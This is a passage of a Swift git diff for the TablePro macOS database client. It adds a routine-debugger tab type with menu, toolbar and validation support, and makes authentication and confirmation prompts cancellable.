+    // Nil for a tab scripts never see: a debug tab belongs to a module, which adds no AppleScript surface.
+    internal static func code(for tabType: TabType) -> FourCharCode? {
         switch tabType {
         case .query: fourCharCode("TPk1")
         case .table: fourCharCode("TPk2")
@@ -44,6 +45,7 @@ internal enum ScriptEnumerations {
         case .objectSource: fourCharCode("TPk8")
         case .versionHistory: fourCharCode("TPk9")
         case .tableListing: fourCharCode("TPkl")
+        case .routineDebug: nil
         }
     }
 
diff --git a/apple/TablePro/Core/Scripting/ScriptTab.swift b/apple/TablePro/Core/Scripting/ScriptTab.swift
index 42282cb8f3..3ff2d77e6a 100644
--- a/apple/TablePro/Core/Scripting/ScriptTab.swift
+++ b/apple/TablePro/Core/Scripting/ScriptTab.swift
@@ -29,12 +29,13 @@ internal final class ScriptTab: NSObject, ScriptCommandReceiving {
     /// `objectSpecifier`, which Cocoa calls without any isolation of its own.
     private let container: ScriptingBox<NSScriptObjectSpecifier?>
 
-    internal init(tab: QueryTab, connectionId: UUID, container: NSScriptObjectSpecifier?) {
+    internal init?(tab: QueryTab, connectionId: UUID, container: NSScriptObjectSpecifier?) {
+        guard let kind = ScriptEnumerations.code(for: tab.tabType) else { return nil }
         self.tabId = tab.id
         self.connectionId = connectionId
         self.uniqueId = tab.id.uuidString
         self.name = tab.title
-        self.kind = ScriptEnumerations.code(for: tab.tabType)
+        self.kind = kind
         self.tableName = tab.tableContext.tableName
         self.databaseName = tab.tableContext.databaseName.isEmpty ? nil : tab.tableContext.databaseName
         self.schemaName = tab.tableContext.schemaName
diff --git a/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift b/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift
index fb798aa997..13b8df1972 100644
--- a/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift
+++ b/apple/TablePro/Core/Scripting/ScriptingSnapshot.swift
@@ -39,7 +39,7 @@ internal enum ScriptingSnapshot {
         guard isVisibleToScripts(connectionId: connectionId) else { return [] }
         let container = ScriptingSpecifiers.connection(uniqueId: connectionId.uuidString)
         return coordinators(forConnection: connectionId).flatMap { coordinator in
-            coordinator.tabManager.tabs.map {
+            coordinator.tabManager.tabs.compactMap {
                 ScriptTab(tab: $0, connectionId: connectionId, container: container)
             }
         }
diff --git a/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift b/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift
index 020c216a08..26314a7da9 100644
--- a/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift
+++ b/apple/TablePro/Core/Services/Execution/Providers/OperationAuthenticating.swift
@@ -14,9 +14,14 @@ internal struct BiometricOperationAuthenticating: OperationAuthenticating {
     private static let logger = Logger(subsystem: "com.TablePro", category: "ExecutionGate")
 
     func authenticate(reason: String) async -> Bool {
-        let context = LAContext()
+        // A caller that gives up invalidates the context, which cancels the evaluation and dismisses its prompt.
+        nonisolated(unsafe) let context = LAContext()
         do {
-            return try await context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: reason)
+            return try await withTaskCancellationHandler {
+                try await context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: reason)
+            } onCancel: {
+                context.invalidate()
+            }
         } catch {
             Self.logger.warning("Biometric authentication failed: \(error.publicLogShape, privacy: .public)")
             return false
diff --git a/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift b/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift
index a9b20f2aa9..eab4eb4f42 100644
--- a/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift
+++ b/apple/TablePro/Core/Services/Execution/Providers/OperationConfirming.swift
@@ -104,9 +104,16 @@ internal struct AlertOperationConfirming: OperationConfirming {
             preferring: NSApp.keyWindow
         ).map(Self.frontmostSheet(of:))
 
+        guard !Task.isCancelled else { return false }
         guard let statement = OperationConfirmationPrompt.statement(of: request) else {
             let alert = OperationConfirmationPrompt.makeAlert(for: request)
-            return await AlertHelper.response(to: alert, in: window) == .alertFirstButtonReturn
+            let withdrawal = AlertWithdrawal(alert)
+            // A caller that gives up (a debug run stopped while it waits) takes the alert down as Cancel.
+            return await withTaskCancellationHandler {
+                await AlertHelper.response(to: alert, in: window) == .alertFirstButtonReturn
+            } onCancel: {
+                withdrawal.withdraw()
+            }
         }
 
         return await AlertHelper.runStatementConfirmation(
@@ -132,3 +139,23 @@ internal struct AlertOperationConfirming: OperationConfirming {
         return frontmost
     }
 }
+
+// Lets a cancellation, which can arrive on any thread, answer an alert on the main actor.
+private final class AlertWithdrawal: @unchecked Sendable {
+    private weak var alert: NSAlert?
+
+    init(_ alert: NSAlert) {
+        self.alert = alert
+    }
+
+    func withdraw() {
+        Task { @MainActor [weak alert] in
+            guard let alert else { return }
+            if let parent = alert.window.sheetParent {
+                parent.endSheet(alert.window, returnCode: .cancel)
+            } else if NSApp.modalWindow === alert.window {
+                NSApp.stopModal(withCode: .cancel)
+            }
+        }
+    }
+}
diff --git a/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift b/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift
index 872a5337c6..850d679e24 100644
--- a/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/EditorTabDetachPolicy.swift
@@ -5,28 +5,22 @@
 
 import Foundation
 
-/// Whether a tab may be moved into a window of its own, kept apart from the window machinery so
-/// the rule can be tested without one.
-///
-/// The rule is narrow on purpose. Detaching moves a `QueryTab`, which carries what is persisted;
-/// it does not carry a coordinator's live edit state, so a tab with work that has not been written
-/// yet would arrive in the new window with that work silently gone. Refusing is the honest answer,
-/// and the same one the strip gives for a reorder it cannot complete: the command dims rather than
-/// destroying something quietly.
+// Whether a tab may move into a window of its own. Detaching carries the `QueryTab` and nothing the coordinator
+// holds beside it, so anything that would be lost or left behind refuses rather than moving quietly.
 internal enum EditorTabDetachPolicy {
     internal static func canDetach(
+        tabType: TabType,
         tabCount: Int,
         hasUnsavedWork: Bool,
         isBusy: Bool,
         isConnected: Bool
     ) -> Bool {
-        /// The last tab has nowhere to go. Moving it would empty this window and fill an identical
-        /// one, which is what `Move Connection to New Window` already does and says.
+        // A debug run's prompts and its close on a declined start act on the coordinator that opened it.
+        guard tabType != .routineDebug else { return false }
+        // Moving the last tab is Move Connection to New Window.
         guard tabCount > 1 else { return false }
         guard !hasUnsavedWork else { return false }
-        /// A query or a table load in flight is claimed by the coordinator that started it. Moving
-        /// the tab out from under one leaves the completion with no tab to write into and the new
-        /// window with no claim, so it fetches the same page again.
+        // The completion of a query or table load in flight would find no tab, and the new window would fetch again.
         guard !isBusy else { return false }
         return isConnected
     }
diff --git a/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift b/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift
index 0e7719819a..ff7903361e 100644
--- a/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/EditorTabOpener.swift
@@ -108,6 +108,9 @@ internal enum EditorTabOpener {
                 databaseName: payload.databaseName ?? openingDatabaseName,
                 schemaName: payload.schemaName
             )
+        case .routineDebug:
+            // A payload cannot carry a live session; the coordinator opens debug tabs itself.
+            return
         }
     }
 
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift
new file mode 100644
index 0000000000..db9fe8340e
--- /dev/null
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift
@@ -0,0 +1,86 @@
+import AppKit
+import TableProPluginKit
+
+struct RoutineDebugMenuState: Equatable {
+    var canChooseRoutine = false
+    var performableCommands: Set<PluginDebugCommand> = []
+    var canStop = false
+    // The debug tab in front has source on screen with a caret, and is not ending.
+    var canToggleBreakpoint = false
+    var canRemoveAllBreakpoints = false
+}
+
+extension MainSplitViewController {
+    static let routineDebugSelectors: Set<Selector> = [
+        #selector(chooseRoutineToDebug(_:)),
+        #selector(debugContinue(_:)),
+        #selector(debugStepOver(_:)),
+        #selector(debugStepInto(_:)),
+        #selector(debugStepOut(_:)),
+        #selector(debugStop(_:)),
+        #selector(toggleBreakpoint(_:)),
+        #selector(removeAllBreakpoints(_:)),
+    ]
+
+    @objc func chooseRoutineToDebug(_ sender: Any?) {
+        guard let coordinator = routineDebugCoordinator, coordinator.canChooseRoutineToDebug() else { return }
+        coordinator.chooseRoutineToDebug()
+    }
+
+    @objc func debugContinue(_ sender: Any?) {
+        performDebugCommand(.continueExecution)
+    }
+
+    @objc func debugStepOver(_ sender: Any?) {
+        performDebugCommand(.stepOver)
+    }
+
+    @objc func debugStepInto(_ sender: Any?) {
+        performDebugCommand(.stepInto)
+    }
+
+    @objc func debugStepOut(_ sender: Any?) {
+        performDebugCommand(.stepOut)
+    }
+
+    @objc func debugStop(_ sender: Any?) {
+        guard let controller = frontRoutineDebugController, controller.canStop else { return }
+        controller.stop()
+    }
+
+    @objc func toggleBreakpoint(_ sender: Any?) {
+        frontRoutineDebugController?.toggleBreakpointAtCursor()
+    }
+
+    @objc func removeAllBreakpoints(_ sender: Any?) {
+        guard let controller = frontRoutineDebugController, controller.canRemoveAllBreakpoints else { return }
+        controller.removeAllBreakpoints()
+    }
+
+    var routineDebugMenuState: RoutineDebugMenuState {
+        guard let coordinator = routineDebugCoordinator else { return RoutineDebugMenuState() }
+        var state = RoutineDebugMenuState(canChooseRoutine: coordinator.canChooseRoutineToDebug())
+        guard let controller = coordinator.frontRoutineDebugController else { return state }
+        let commands: [PluginDebugCommand] = [.continueExecution, .stepOver, .stepInto, .stepOut]
+        state.performableCommands = Set(commands.filter { controller.canPerform($0) })
+        state.canStop = controller.canStop
+        state.canToggleBreakpoint = controller.canToggleBreakpoint
+        state.canRemoveAllBreakpoints = controller.canRemoveAllBreakpoints
+        return state
+    }
+
+    // Nil while the module is off, so no command reaches the debugger's code.
+    private var routineDebugCoordinator: MainContentCoordinator? {
+        guard AppModuleSettings.shared.isEnabled(.routineDebugger) else { return nil }
+        return commandActions?.coordinator
+    }
+
+    private var frontRoutineDebugController: RoutineDebugController? {
+        routineDebugCoordinator?.frontRoutineDebugController
+    }
+
+    private func performDebugCommand(_ command: PluginDebugCommand) {
+        guard let controller = frontRoutineDebugController, controller.canPerform(command) else { return }
+        controller.perform(command)
+    }
+}
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
index 94cef339a1..df49ca366a 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+MenuValidation.swift
@@ -4,6 +4,7 @@
 //
 
 import AppKit
+import TableProPluginKit
 
 // A plain value keeps `isEnabled` pure and testable, the same split `ToolbarContextResolver` uses for the toolbar.
 struct MenuValidationContext: Equatable {
@@ -125,6 +126,8 @@ struct MenuValidationContext: Equatable {
     var hasDatabaseFilter = false
     var canFilterSchemas = false
     var hasSchemaFilter = false
+    // Filled only when a Debug menu item is validated; the menu exists only while the module is on.
+    var routineDebug = RoutineDebugMenuState()
 
     // The validation and the window's handler both read it, so a lit Use Selection for Find never lands on an editor with no selection.
     var usesGridSelectionForFind: Bool {
@@ -140,6 +143,7 @@ extension MainSplitViewController: NSMenuItemValidation {
         if let query = isQueryCommandEnabled(selector, context: context) { return query }
         if let chooser = isContainerCommandEnabled(selector, context: context) { return chooser }
         if let creation = isCreationCommandEnabled(selector, context: context) { return creation }
+        if let debug = isRoutineDebugCommandEnabled(selector, context: context) { return debug }
 
         switch selector {
         case #selector(exportTables(_:)),
@@ -326,6 +330,27 @@ extension MainSplitViewController: NSMenuItemValidation {
         }
     }
 
+    // Agent mode does not draw the debug tab these act on.
+    private static func isRoutineDebugCommandEnabled(
+        _ selector: Selector,
+        context: MenuValidationContext
+    ) -> Bool? {
+        guard routineDebugSelectors.contains(selector) else { return nil }
+        guard !context.isAgentMode else { return false }
+        let debug = context.routineDebug
+        switch selector {
+        case #selector(chooseRoutineToDebug(_:)): return context.isConnected && debug.canChooseRoutine
+        case #selector(debugContinue(_:)): return debug.performableCommands.contains(.continueExecution)
+        case #selector(debugStepOver(_:)): return debug.performableCommands.contains(.stepOver)
+        case #selector(debugStepInto(_:)): return debug.performableCommands.contains(.stepInto)
+        case #selector(debugStepOut(_:)): return debug.performableCommands.contains(.stepOut)
+        case #selector(debugStop(_:)): return debug.canStop
+        case #selector(toggleBreakpoint(_:)): return debug.canToggleBreakpoint
+        case #selector(removeAllBreakpoints(_:)): return debug.canRemoveAllBreakpoints
+        default: return false
+        }
+    }
+
     // The sidebar's add button sends these too. New Folder records local state only, so read-only does not dim it.
     private static func isCreationCommandEnabled(
         _ selector: Selector,
@@ -651,6 +676,9 @@ extension MainSplitViewController: NSMenuItemValidation {
         if action == #selector(selectNumberedTab(_:)) {
             context.requestedTabNumber = menuItem.tag
         }
+        if Self.routineDebugSelectors.contains(action) {
+            context.routineDebug = routineDebugMenuState
+        }
         guard Self.agentSessionSelectors.contains(action) else { return context }
         context.agentSessionTarget = agentSessionTarget(for: menuItem)?.status
         return context
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift
index 09b4329423..a77ad56643 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+RecentTabs.swift
@@ -213,6 +213,8 @@ internal extension MainSplitViewController {
             return "clock.arrow.circlepath"
         case .tableListing:
             return "list.bullet.rectangle"
+        case .routineDebug:
+            return "ladybug"
         }
     }
 }
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift
index 38be9092cd..06e7a84ac3 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+TabStripAccessory.swift
@@ -157,22 +157,16 @@ internal extension MainSplitViewController {
             },
             canTearOff: { [weak workspace] id in
                 guard let workspace,
-                      let sessionState = workspace.sessionState
+                      let sessionState = workspace.sessionState,
+                      let tab = sessionState.tabManager.tabs.first(where: { $0.id == id })
                 else { return false }
                 return EditorTabDetachPolicy.canDetach(
+                    tabType: tab.tabType,
                     tabCount: sessionState.tabManager.tabs.count,
                     hasUnsavedWork: sessionState.coordinator.hasUnsavedWork(forTab: id),
-                    /// `isBusy`, never `isExecuting`. Work that cannot claim the tab still runs on
-                    /// it: Fetch All registers unclaimed work, and an exact row count lives in the
-                    /// tab's own pagination state. Moving a tab in either of those leaves the
-                    /// copied `isLoadingMore` or `isCountingExact` raised in the new window with
-                    /// the completion still owned by the old one, so it never comes down.
-                    isBusy: sessionState.coordinator.tabExecution.isBusy(id)
-                        || sessionState.tabManager.tabs.first { $0.id == id }?.pagination.isBusy == true,
-                    /// `reportedStatus`, never the driver handle. An installed driver is a handle,
-                    /// not a live connection: it stays put through a reconnect and after the health
-                    /// monitor gives up, so reading it moved tabs into windows that could not use
-                    /// them.
+                    // Not `isExecuting`: Fetch All and an exact row count run on the tab without claiming it.
+                    isBusy: sessionState.coordinator.tabExecution.isBusy(id) || tab.pagination.isBusy,
+                    // Not the driver handle, which stays installed through a reconnect and after the monitor gives up.
                     isConnected: DatabaseManager.shared.activeSessions[workspace.connectionId]?
                         .reportedStatus.isConnected == true
                 )
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
index 7b74595818..041c30a137 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
@@ -523,6 +523,7 @@ internal final class MainSplitViewController: NSSplitViewController {
         owner.repoint(to: coordinator)
         guard window.toolbar !== owner.managedToolbar else { return }
         window.toolbar = owner.managedToolbar
+        owner.reconcileDebugItems()
         /// The item set every window starts from is the full one, because `isHidden` is never
         /// persisted, so the context is applied the moment the items exist rather than on the first
         /// change to it. Measured on macOS 27, that moment is this assignment: `NSToolbar.items` is
@@ -1386,7 +1387,7 @@ internal final class MainSplitViewController: NSSplitViewController {
         case .usersRoles:
             return UsersRolesLayoutMetrics.tabMinimumWidth
         case .query, .table, .createTable, .erDiagram, .serverDashboard, .insights, .objectSource, .versionHistory,
-             .tableListing:
+             .tableListing, .routineDebug:
             return defaultDetailMinThickness
         }
     }
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift
index 33e6f4111b..88b2140121 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Actions.swift
@@ -5,6 +5,7 @@
 
 import AppKit
 import Combine
+import TableProPluginKit
 
 extension MainWindowToolbar {
     /// Straight to the window, because the switcher is the window's. Every other item here needs
@@ -66,6 +67,26 @@ extension MainWindowToolbar {
         coordinator?.commandActions?.exportTables()
     }
 
+    @objc func performDebugContinue(_ sender: Any?) {
+        coordinator?.frontRoutineDebugController?.perform(.continueExecution)
+    }
+
+    @objc func performDebugStepOver(_ sender: Any?) {
+        coordinator?.frontRoutineDebugController?.perform(.stepOver)
+    }
+
+    @objc func performDebugStepInto(_ sender: Any?) {
+        coordinator?.frontRoutineDebugController?.perform(.stepInto)
+    }
+
+    @objc func performDebugStepOut(_ sender: Any?) {
+        coordinator?.frontRoutineDebugController?.perform(.stepOut)
+    }
+
+    @objc func performDebugStop(_ sender: Any?) {
+        coordinator?.frontRoutineDebugController?.stop()
+    }
+
     /// The Inspector item on macOS 13, forwarded because the action belongs to the split controller
     /// and a toolbar item's explicit target has to respond to its own selector to validate.
     @objc func forwardToggleInspector(_ sender: Any?) {
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift
index d1cbd18cba..904d5d0c84 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Context.swift
@@ -46,7 +46,8 @@ internal extension MainWindowToolbar {
             supportsServerDashboard: databaseType.map { ServerDashboardQueryProviderFactory.supportsDashboard(for: $0) }
                 ?? false,
             isAIEnabled: AppSettingsManager.shared.ai.enabled,
-            stagesObjectChanges: tab?.tabType == .objectSource && tab?.display.objectRef?.kind == .userType
+            stagesObjectChanges: tab?.tabType == .objectSource && tab?.display.objectRef?.kind == .userType,
+            showsDebugItems: debugItemsEnabled()
         )
     }
 
@@ -58,6 +59,7 @@ internal extension MainWindowToolbar {
     func currentContext() -> ToolbarContext {
         let host = self.host
         let state = coordinator?.toolbarState
+        let debugger = (host?.contentMode ?? .browse) == .browse ? coordinator?.frontRoutineDebugController : nil
         return ToolbarContext(
             key: currentVisibilityKey(),
             pane: host?.currentPane ?? .empty,
@@ -70,7 +72,11 @@ internal extension MainWindowToolbar {
             canAddRow: coordinator?.canAddRow ?? false,
             canRestorePreviousValues: coordinator?.canRewindSelectedTab ?? false,
             canNavigateBack: coordinator?.canNavigateBack ?? false,
-            canNavigateForward: coordinator?.canNavigateForward ?? false
+            canNavigateForward: coordinator?.canNavigateForward ?? false,
+            debugCommands: debugger.map { controller in
+                Set(PluginDebugCommand.hostCommands.filter { controller.canPerform($0) })
+            } ?? [],
+            canStopDebugging: debugger?.canStop ?? false
         )
     }
 }
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift
index 61ff054a90..004adfc3e4 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Delegate.swift
@@ -126,6 +126,10 @@ extension MainWindowToolbar {
             return makeNewTabItem()
         case Self.quickSwitcher:
             return makeQuickSwitcherItem()
+        case Self.debugContinue, Self.debugStepOver, Self.debugStepInto, Self.debugStepOut, Self.debugStop:
+            // Answering nil while the module is off is what prunes the controls from a saved arrangement.
+            guard debugItemsEnabled() else { return nil }
+            return makeDebugItem(itemIdentifier)
         default:
             return nil
         }
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift
index 2f1a2f296b..57800ec5ea 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar+Items.swift
@@ -286,6 +286,53 @@ extension MainWindowToolbar {
         return item
     }
 
+    func makeDebugItem(_ identifier: NSToolbarItem.Identifier) -> NSToolbarItem? {
+        switch identifier {
+        case Self.debugContinue:
+            return menuOnlyItem(
+                id: identifier,
+                label: String(localized: "Continue"),
+                symbol: "play",
+                action: #selector(performDebugContinue(_:)),
+                shortcut: .debugContinue
+            )
+        case Self.debugStepOver:
+            return menuOnlyItem(
+                id: identifier,
+                label: String(localized: "Step Over"),
+                symbol: "arrow.uturn.forward",
+                action: #selector(performDebugStepOver(_:)),
+                shortcut: .debugStepOver
+            )
+        case Self.debugStepInto:
+            return menuOnlyItem(
+                id: identifier,
+                label: String(localized: "Step Into"),
+                symbol: "arrow.down.to.line",
+                action: #selector(performDebugStepInto(_:)),
+                shortcut: .debugStepInto
+            )
+        case Self.debugStepOut:
+            return menuOnlyItem(
+                id: identifier,
+                label: String(localized: "Step Out"),
+                symbol: "arrow.up.to.line",
+                action: #selector(performDebugStepOut(_:)),
+                shortcut: .debugStepOut
+            )
+        case Self.debugStop:
+            return menuOnlyItem(
+                id: identifier,
+                label: String(localized: "Stop"),
+                symbol: "stop",
+                action: #selector(performDebugStop(_:)),
+                description: String(localized: "Stop Debugging")
+            )
+        default:
+            return nil
+        }
+    }
+
     // MARK: - Helpers
 
     /// The label is what the customization palette and the overflow menu show, so it stays short.
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
index 714e89c20f..be3598b496 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainWindowToolbar.swift
@@ -83,6 +83,13 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
     /// Coalesces the passes Customize Toolbar asks for, so a drop of several items is one pass.
     private var isVisibilityReapplyScheduled = false
 
+    // Whether the Routine Debugger module is on; its controls are vended only then, so turning it off prunes them.
+    internal var debugItemsEnabled: @MainActor () -> Bool = {
+        AppModuleSettings.shared.isEnabled(.routineDebugger)
+    }
+
+    internal var debugItemsRecord = ToolbarDebugItemsRecord()
+
     /// `NSMenu.delegate` is weak, and the safe-mode control's menu is built here rather than by the
     /// menu bar, so this toolbar is what keeps its delegate alive.
     internal let safeModeMenuDelegate = SafeModeMenuDelegate()
@@ -350,7 +357,8 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
     internal func apply(_ visibility: ToolbarVisibility) {
         guard #available(macOS 15.0, *) else { return }
         self.visibility = visibility
-        for item in managedToolbar.items where ToolbarContextResolver.hideableIdentifiers.contains(item.itemIdentifier) {
+        let hideable = ToolbarContextResolver.hideableItems(showsDebugItems: debugItemsEnabled())
+        for item in managedToolbar.items where hideable.contains(item.itemIdentifier) {
             item.isHidden = visibility.hides(item.itemIdentifier)
         }
         managedToolbar.validateVisibleItems()
@@ -408,6 +416,16 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
     /// The pull-down that carries the long tail of a context's commands. One control whose menu
     /// changes with the tab, instead of one permanent titlebar slot per command.
     nonisolated static let actions = NSToolbarItem.Identifier("com.TablePro.toolbar.actions")
+    nonisolated static let debugContinue = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.continue")
+    nonisolated static let debugStepOver = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepOver")
+    nonisolated static let debugStepInto = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepInto")
+    nonisolated static let debugStepOut = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stepOut")
+    nonisolated static let debugStop = NSToolbarItem.Identifier("com.TablePro.toolbar.debug.stop")
+    nonisolated static let debugItemIdentifiers: [NSToolbarItem.Identifier] = [
+        debugContinue, debugStepOver, debugStepInto, debugStepOut, debugStop,
+    ]
+    // Xcode's pair. The steps live in the debug tab's own bar and the palette, which keeps a debug tab at eight hit targets.
+    nonisolated static let debugDefaultItemIdentifiers: [NSToolbarItem.Identifier] = [debugContinue, debugStop]
 
     // MARK: - NSToolbarDelegate
 
@@ -486,11 +504,77 @@ internal final class MainWindowToolbar: NSObject, NSToolbarDelegate {
         quickSwitcher,
     ]
 
+    // Ahead of the Actions pull-down, in the content run Refresh and the commit control leave empty on a debug tab.
+    nonisolated internal static func defaultItems(includingDebugItems: Bool) -> [NSToolbarItem.Identifier] {
+        let items = defaultItemIdentifiers
+        guard includingDebugItems, let index = items.firstIndex(of: actions) else { return items }
+        return Array(items[..<index]) + debugDefaultItemIdentifiers + Array(items[index...])
+    }
+
     internal func toolbarDefaultItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] {
-        Self.defaultItemIdentifiers
+        Self.defaultItems(includingDebugItems: debugItemsEnabled())
     }
 
     internal func toolbarAllowedItemIdentifiers(_ toolbar: NSToolbar) -> [NSToolbarItem.Identifier] {
-        Self.allowedItemIdentifiers
+        debugItemsEnabled() ? Self.allowedItemIdentifiers + Self.debugItemIdentifiers : Self.allowedItemIdentifiers
+    }
+
+    // Replaced under test, where no window hosts the toolbar.
+    internal var isInWindow: @MainActor () -> Bool = { false }
+
+    // Pushed by the one writer of a module's state, so no toolbar listens for module changes while the module is off.
+    internal static func applyModuleChange() {
+        for window in NSApp.windows {
+            guard let owner = window.toolbar?.delegate as? MainWindowToolbar else { continue }
+            owner.reconcileDebugItems()
+            owner.refreshContext(forcing: true)
+        }
+    }
+
+    // Run when the module changes and when the toolbar reaches a window, after it restored its saved arrangement: a
+    // change made while no connection window was open would otherwise never reach the arrangement. Inserted or removed
+    // in place, because reassigning the toolbar rebuilds the whole titlebar.
+    internal func reconcileDebugItems() {
+        guard windowController?.view.window != nil || isInWindow() else { return }
+        let wanted = debugItemsEnabled()
+        guard debugItemsRecord.isApplied != wanted else { return }
+        debugItemsRecord.record(wanted)
+        let debugIdentifiers = Set(Self.debugItemIdentifiers)
+        if wanted {
+            let present = managedToolbar.items.contains { debugIdentifiers.contains($0.itemIdentifier) }
+            if !present, let index = managedToolbar.items.firstIndex(where: { $0.itemIdentifier == Self.actions }) {
+                for (offset, identifier) in Self.debugDefaultItemIdentifiers.enumerated() {
+                    managedToolbar.insertItem(withItemIdentifier: identifier, at: index + offset)
+                }
+            }
+        } else {
+            for index in managedToolbar.items.indices.reversed()
+            where debugIdentifiers.contains(managedToolbar.items[index].itemIdentifier) {
+                managedToolbar.removeItem(at: index)
+            }
+        }
+    }
+}
+
+// The module state last written into the shared arrangement. Toolbars sharing an identifier copy each other's edits, so
+// a change is written once, by the first toolbar in a window to see it, and a person who then removes the pair keeps it
+// removed. Kept beside the arrangement, in the domain AppKit autosaves it to, so it outlives the launch: a module turned on
+// before any connection window opened still reaches a customized arrangement. Missing reads as off, which is what an
+// arrangement saved before the module existed holds.
+internal struct ToolbarDebugItemsRecord {
+    static let key = "com.TablePro.main.toolbar.v4.debugItems"
+
+    let defaults: UserDefaults
+
+    init(defaults: UserDefaults = AppStorageEnvironment.shared.defaults) {
+        self.defaults = defaults
+    }
+
+    var isApplied: Bool {
+        defaults.bool(forKey: Self.key)
+    }
+
+    func record(_ applied: Bool) {
+        defaults.set(applied, forKey: Self.key)
     }
 }
diff --git a/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift b/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift
index a5adafcf9f..1d8cc113dd 100644
--- a/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/TabPersistenceCoordinator.swift
@@ -98,6 +98,7 @@ internal final class TabPersistenceCoordinator: ObservableObject {
         selectedTabId: UUID?,
         path: String
     ) -> (tabs: [PersistedTab], selectedTabId: UUID?, database: String?, schema: String?)? {
+        let tabs = tabs.filter { !$0.tabType.isTransient }
         guard !tabs.isEmpty else {
             Self.logger.debug(
                 "[persist] \(path, privacy: .private(mask: .hash)) skipped empty tab set connId=\(self.connectionId, privacy: .public)"
diff --git a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift
index 74185086c2..5fb912893c 100644
--- a/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/Toolbar/ToolbarContextResolver.swift
@@ -4,6 +4,7 @@
 //
 
 import AppKit
+import TableProPluginKit
 
 /// Which of the connection window's toolbar items a context shows, and which of them answer.
 ///
@@ -38,12 +39,20 @@ internal enum ToolbarContextResolver {
